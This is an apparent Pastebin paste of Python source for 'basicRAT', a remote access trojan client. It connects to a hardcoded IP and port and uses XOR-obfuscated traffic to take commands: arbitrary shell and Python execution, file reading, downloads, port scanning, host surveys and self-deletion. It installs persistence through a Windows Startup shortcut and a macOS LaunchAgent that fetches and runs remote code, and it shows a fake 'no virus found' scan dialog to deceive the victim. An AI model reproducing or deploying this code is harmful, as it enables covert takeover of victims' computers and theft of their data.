Advertisement
Guest User

Untitled

a guest
Jun 19th, 2018
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.53 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. #
  4. # basicRAT client
  5. # https://github.com/vesche/basicRAT
  6. #
  7.  
  8. import socket
  9. import threading
  10. import sys, os
  11. import ctypes
  12. import getpass
  13. import platform
  14. import time
  15. import urllib
  16. import uuid
  17. import datetime
  18. import subprocess
  19. import zipfile
  20. import json
  21. import traceback
  22.  
  23. # determine system platform
  24. if sys.platform.startswith('win'):
  25. PLAT = 'win'
  26. elif sys.platform.startswith('linux'):
  27. PLAT = 'nix'
  28. elif sys.platform.startswith('darwin'):
  29. PLAT = 'mac'
  30. else:
  31. print 'This platform is not supported.'
  32. sys.exit(1)
  33.  
  34. # change these to suit your needs
  35. HOST = '47.74.245.136'
  36. PORT = 30006
  37. REMOTE = "#TODO"
  38.  
  39.  
  40. def xor(text):
  41. crypt = []
  42. for i in range(len(text)):
  43. crypt.append(chr(ord(text[i]) ^ 93))
  44.  
  45. return "".join(crypt)
  46.  
  47.  
  48. def windows_persistence():
  49. import os, string, random
  50. try:
  51. appdata = os.path.expandvars("%AppData%")
  52. target = appdata + "\desktop.exe"
  53.  
  54. if sys.executable == target:
  55. return True, "already added to start"
  56.  
  57. startup_dir = os.path.join(appdata, 'Microsoft\Windows\Start Menu\Programs\Startup')
  58. if os.path.exists(appdata):
  59. with open(sys.executable, "rb") as f1:
  60. with open(target, "wb") as f2:
  61. f2.write(f1.read())
  62.  
  63. if os.path.exists(startup_dir):
  64. random_name = ''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(2,4))])
  65. persistence_file = os.path.join(startup_dir, '%s.desktop.url' % random_name)
  66.  
  67. content = '\n[InternetShortcut]\nURL=file:///%s\n' % target
  68.  
  69. f = open(persistence_file, 'w')
  70. f.write(content)
  71. f.close()
  72.  
  73. return True, 'startup file add success'
  74. else:
  75. return False, 'startup file add failed'
  76.  
  77. except WindowsError:
  78. return False, 'startup file add failed'
  79.  
  80.  
  81. def linux_persistence():
  82. return False, 'nothing here yet'
  83.  
  84.  
  85. def mac_persistence():
  86. return False, 'nothing here yet'
  87.  
  88. with open(os.path.expanduser("~") + "/Library/LaunchAgents/groundtime.plist", "w") as f:
  89. f.write("""
  90. <?xml version="1.0" encoding="UTF-8"?>
  91. <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  92. <plist version="1.0">
  93. <dict>
  94. <key>Label</key>
  95. <string>com.example.hello</string>
  96. <key>ProgramArguments</key>
  97. <array>
  98. <string>/usr/bin/python</string>
  99. <string>-c</string>
  100. <string>import urllib;exec urllib.urlopen("%s").read()</string>
  101. </array>
  102. <key>RunAtLoad</key>
  103. <true/>
  104. </dict>
  105. </plist>
  106. """ % REMOTE )
  107.  
  108. return True, 'startup file add success'
  109.  
  110.  
  111. def persistence(plat):
  112. if plat == 'win':
  113. success, details = windows_persistence()
  114. elif plat == 'nix':
  115. success, details = linux_persistence()
  116. elif plat == 'mac':
  117. success, details = mac_persistence()
  118. else:
  119. return 'Error, platform unsupported.'
  120.  
  121. if success:
  122. results = 'Persistence successful, {}.'.format(details)
  123. else:
  124. results = 'Persistence unsuccessful, {}.'.format(details)
  125.  
  126. return results
  127.  
  128. PORTS = [ 21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 179, 443, 445,
  129. 514, 993, 995, 1723, 3306, 3389, 5900, 8000, 8080, 8443, 8888 ]
  130.  
  131.  
  132. def single_host(ip):
  133. try:
  134. socket.inet_aton(ip)
  135. except socket.error:
  136. return 'Error: Invalid IP address.'
  137.  
  138. results = ''
  139.  
  140. for p in PORTS:
  141. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  142. c = s.connect_ex((ip, p))
  143. socket.setdefaulttimeout(0.5)
  144.  
  145. state = 'open' if not c else 'closed'
  146.  
  147. results += '{:>5}/tcp {:>7}\n'.format(p, state)
  148.  
  149. return results.rstrip()
  150.  
  151.  
  152. SURVEY_FORMAT = '''
  153. System Platform - {}
  154. Processor - {}
  155. Architecture - {}
  156. Internal IP - {}
  157. External IP - {}
  158. MAC Address - {}
  159. Internal Hostname - {}
  160. External Hostname - {}
  161. Hostname Aliases - {}
  162. FQDN - {}
  163. Current User - {}
  164. System Datetime - {}
  165. Admin Access - {}'''
  166.  
  167.  
  168. def survey(plat):
  169. # OS information
  170. sys_platform = platform.platform()
  171. processor = platform.processor()
  172. architecture = platform.architecture()[0]
  173.  
  174. # session information
  175. username = getpass.getuser()
  176.  
  177. # network information
  178. hostname = socket.gethostname()
  179. fqdn = socket.getfqdn()
  180. try:
  181. internal_ip = socket.gethostbyname(hostname)
  182. except socket.gaierror:
  183. internal_ip = ''
  184. raw_mac = uuid.getnode()
  185. mac = ':'.join(('%012X' % raw_mac)[i:i+2] for i in range(0, 12, 2))
  186.  
  187. # get external ip address
  188. ex_ip_grab = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me',
  189. 'ipecho.net/plain', 'myexternalip.com/raw',
  190. 'wtfismyip.com/text' ]
  191. external_ip = ''
  192. for url in ex_ip_grab:
  193. try:
  194. external_ip = urllib.urlopen('http://'+url).read().rstrip()
  195. except IOError:
  196. pass
  197. if external_ip and (6 < len(external_ip) < 16):
  198. break
  199.  
  200. # reverse dns lookup
  201. try:
  202. ext_hostname, aliases, _ = socket.gethostbyaddr(external_ip)
  203. except (socket.herror, NameError):
  204. ext_hostname, aliases = '', []
  205. aliases = ', '.join(aliases)
  206.  
  207. # datetime, local non-DST timezone
  208. dt = time.strftime('%a, %d %b %Y %H:%M:%S {}'.format(time.tzname[0]),
  209. time.localtime())
  210.  
  211. # platform specific
  212. is_admin = False
  213.  
  214. if plat == 'win':
  215. is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
  216.  
  217. elif plat in ['nix', 'mac']:
  218. is_admin = os.getuid() == 0
  219.  
  220. admin_access = 'Yes' if is_admin else 'No'
  221.  
  222. # return survey results
  223. return SURVEY_FORMAT.format(sys_platform, processor, architecture,
  224. internal_ip, external_ip, mac, hostname, ext_hostname, aliases, fqdn,
  225. username, dt, admin_access)
  226.  
  227.  
  228. def cat(file_path):
  229. if os.path.isfile(file_path):
  230. try:
  231. with open(file_path) as f:
  232. return f.read(4000)
  233. except IOError:
  234. return 'Error: Permission denied.'
  235. else:
  236. return 'Error: File not found.'
  237.  
  238.  
  239. def execute(command):
  240. output = subprocess.Popen(command, shell=True,
  241. stdout=subprocess.PIPE, stderr=subprocess.PIPE,
  242. stdin=subprocess.PIPE)
  243. return output.stdout.read() + output.stderr.read()
  244.  
  245.  
  246. def ls(path):
  247. if not path:
  248. path = '.'
  249.  
  250. if os.path.exists(path):
  251. try:
  252. return '\n'.join(os.listdir(path))
  253. except OSError:
  254. return 'Error: Permission denied.'
  255. else:
  256. return 'Error: Path not found.'
  257.  
  258.  
  259. def pwd():
  260. return os.getcwd()
  261.  
  262.  
  263. def selfdestruct(plat):
  264. if plat == 'win':
  265. import _winreg
  266. from _winreg import HKEY_CURRENT_USER as HKCU
  267.  
  268. run_key = r'Software\Microsoft\Windows\CurrentVersion\Run'
  269.  
  270. try:
  271. reg_key = _winreg.OpenKey(HKCU, run_key, 0, _winreg.KEY_ALL_ACCESS)
  272. _winreg.DeleteValue(reg_key, 'br')
  273. _winreg.CloseKey(reg_key)
  274. except WindowsError:
  275. pass
  276.  
  277. elif plat == 'nix':
  278. pass
  279.  
  280. elif plat == 'mac':
  281. pass
  282.  
  283. # self delete basicRAT
  284. os.remove(sys.argv[0])
  285. sys.exit(0)
  286.  
  287.  
  288. def unzip(f):
  289. if os.path.isfile(f):
  290. try:
  291. with zipfile.ZipFile(f) as zf:
  292. zf.extractall('.')
  293. return 'File {} extracted.'.format(f)
  294. except zipfile.BadZipfile:
  295. return 'Error: Failed to unzip file.'
  296. else:
  297. return 'Error: File not found.'
  298.  
  299.  
  300. def wget(url):
  301. if not url.startswith('http'):
  302. return 'Error: URL must begin with http:// or https:// .'
  303.  
  304. fname = url.split('/')[-1]
  305. if not fname:
  306. dt = str(datetime.datetime.now()).replace(' ', '-').replace(':', '-')
  307. fname = 'file-{}'.format(dt)
  308.  
  309. try:
  310. urllib.urlretrieve(url, fname)
  311. except IOError:
  312. return 'Error: Download failed.'
  313.  
  314. return 'File {} downloaded.'.format(fname)
  315.  
  316. def py(code):
  317. try:
  318. r = None
  319. exec(code)
  320. if type(r) == str:
  321. return r
  322. else:
  323. return json.dumps(r)
  324. except Exception, e:
  325. r = "return value is not a string or json.\n"
  326. r += traceback.format_exc()
  327. return r
  328.  
  329. # seconds to wait before client will attempt to reconnect
  330. CONN_TIMEOUT = 5
  331.  
  332.  
  333.  
  334. def client_loop(conn):
  335. while True:
  336. results = ''
  337.  
  338. # wait to receive data from server
  339. data = xor(conn.recv(4096))
  340.  
  341. # seperate data into command and action
  342. cmd, _, action = data.partition(' ')
  343.  
  344. if cmd == 'kill':
  345. conn.close()
  346. return 1
  347.  
  348. elif cmd == 'selfdestruct':
  349. conn.close()
  350. selfdestruct(PLAT)
  351.  
  352. elif cmd == 'quit':
  353. conn.shutdown(socket.SHUT_RDWR)
  354. conn.close()
  355. break
  356.  
  357. elif cmd == 'persistence':
  358. results = persistence(PLAT)
  359.  
  360. elif cmd == 'scan':
  361. results = single_host(action)
  362.  
  363. elif cmd == 'survey':
  364. results = survey(PLAT)
  365.  
  366. elif cmd == 'cat':
  367. results = cat(action)
  368.  
  369. elif cmd == 'execute':
  370. results = execute(action)
  371.  
  372. elif cmd == 'ls':
  373. results = ls(action)
  374.  
  375. elif cmd == 'pwd':
  376. results = pwd()
  377.  
  378. elif cmd == 'unzip':
  379. results = unzip(action)
  380.  
  381. elif cmd == 'wget':
  382. results = wget(action)
  383. elif cmd == 'py':
  384. results = py(action)
  385.  
  386. results = results.rstrip() + '\n{} completed.'.format(cmd)
  387.  
  388. conn.send(xor(results))
  389.  
  390.  
  391. def main():
  392. exit_status = 0
  393.  
  394.  
  395. if sys.platform.startswith('win'):
  396. persistence(PLAT)
  397.  
  398. while True:
  399. conn = socket.socket()
  400.  
  401. try:
  402. # attempt to connect to basicRAT server
  403. conn.connect((HOST, PORT))
  404. conn.send(xor("new"))
  405. except socket.error:
  406. time.sleep(CONN_TIMEOUT)
  407. continue
  408.  
  409. # This try/except statement makes the client very resilient, but it's
  410. # horrible for debugging. It will keep the client alive if the server
  411. # is torn down unexpectedly, or if the client freaks out.
  412. try:
  413. exit_status = client_loop(conn)
  414. except: pass
  415.  
  416. if exit_status:
  417. sys.exit(0)
  418.  
  419.  
  420. if __name__ == '__main__':
  421.  
  422. if PLAT == "win":
  423.  
  424. import win32api, win32con
  425. import win32ui
  426.  
  427. def winpop():
  428. def btnClose():
  429. time.sleep(20)
  430. try:
  431. hd = win32ui.FindWindow(None, "scan")
  432. hd.SendMessage(win32con.WM_CLOSE)
  433. except:
  434. pass
  435. win32api.MessageBox(0, "The scan is complete, no virus was not found", "scan", win32con.MB_OK)
  436.  
  437. thread = threading.Thread(target=btnClose)
  438. thread.start()
  439.  
  440. win32api.MessageBox(0, u"Background scanning...", "scan", win32con.MB_OK)
  441.  
  442. thread.join()
  443.  
  444. threading.Thread(target=winpop).start()
  445.  
  446. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement